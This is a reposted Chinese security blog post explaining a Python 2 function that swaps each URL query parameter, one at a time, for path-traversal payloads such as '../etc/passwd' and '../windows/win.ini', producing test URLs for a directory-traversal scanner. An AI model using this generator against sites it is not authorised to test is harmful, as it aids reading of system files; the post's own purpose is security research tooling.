[python]遍历替换URL中的参数值

独自等待 2017年5月10日20:25:01评论612 views字数 2182阅读7分16秒阅读模式

最近写一小工具,需要获取提供的url中的参数名,参数值,然后对每个参数值进行替换,但是在替换其中一个参数值的时候,其它参数值不变,由于是新手,不会写,请教了大牛,最终才搞定,分享一下。。。感谢北京安信华科技有限公司张*伦大牛的大力支持。

测试环境及需求:

测试环境:python 2.7.8 windows 7 x64位

测试url: http://www.waitalone.cn/index.php?id=123&abc=456&xxx=ooo

其实参数名值对个数不是固定的,这里我只是以3个为准测试。

payloads = ('../boot.ini','../etc/passwd','../windows/win.ini','../../boot.ini','../../etc/passwd')

我想要实现的是这样的功能,首先遍历payloads,然后使用其payload替换url中的参数值,但是要在替换第一个参数值的时候其它两个或者多个参数名值对保护不变,举例如下:

http://www.waitalone.cn/index.php?id=../boot.ini&abc=456&xxx=ooo
http://www.waitalone.cn/index.php?id=../etc/passwd&abc=456&xxx=ooo
.....
http://www.waitalone.cn/index.php?id=../../etc/passwd&abc=456&xxx=ooo

当替换第2个参数值的时候其它的不变:

http://www.waitalone.cn/index.php?id=123&abc=../boot.ini&xxx=ooo
...
http://www.waitalone.cn/index.php?id=123&abc=../../etc/passwd&xxx=ooo

第3个或者多个参数名值对同上面。。

在2个开发社区问了大牛,最终得到如下的结果:

payloads = ('../boot.ini','../etc/passwd','../windows/win.ini','../../boot.ini','../../etc/passwd')
 
s1 = ['123']*5
s2 = ['456']*5
s3 = ['ooo']*5
 
a = zip(payloads, s2, s3) + zip(s1, payloads, s3) + zip(s1, s2, payloads)
 
for item in a:
  x, y, z = item
  print ("http://www.waitalone.cn/index.php?id=%s&abc=%s&xxx=%s" %(x,y,z))

这个代码已经实现了我想要的意图,但是在实际实用过程中,s1,s2,s3需要提前定义,大牛说的多参数可以loop,但是不知道怎么操作,所以放弃了,知道的兄弟们帮我改一下。

最终在公司大牛的努力下,成功得到可以实用的代码。。

遍历替换url中的参数值最终代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/12/18
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import urlparse, copy, urllib


def url_values_plus(url, vals):
    ret = []
    u = urlparse.urlparse(url)
    qs = u.query
    pure_url = url.replace('?'+qs, '')
    qs_dict = dict(urlparse.parse_qsl(qs))
    for val in vals:
        for k in qs_dict.keys():
            tmp_dict = copy.deepcopy(qs_dict)
            tmp_dict[k] = val
            tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict))
            ret.append(pure_url + "?" + tmp_qs)
    return ret

url = "http://www.waitalone.cn/index.php?id=123&abc=456&xxx=ooo"
payloads = ('../boot.ini','../etc/passwd','../windows/win.ini','../../boot.ini','../../etc/passwd')
urls = url_values_plus(url, payloads)
for pure_url in urls:
    print pure_url

遍历替换URL中的参数值

参考网址:

http://segmentfault.com/q/1010000002428297?_ea=90382

http://www.v2ex.com/t/154518

http://ideone.com/Jbfmst

感谢为此题分享思路的大牛们。。。



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月10日20:25:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [python]遍历替换URL中的参数值https://cn-sec.com/archives/50141.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息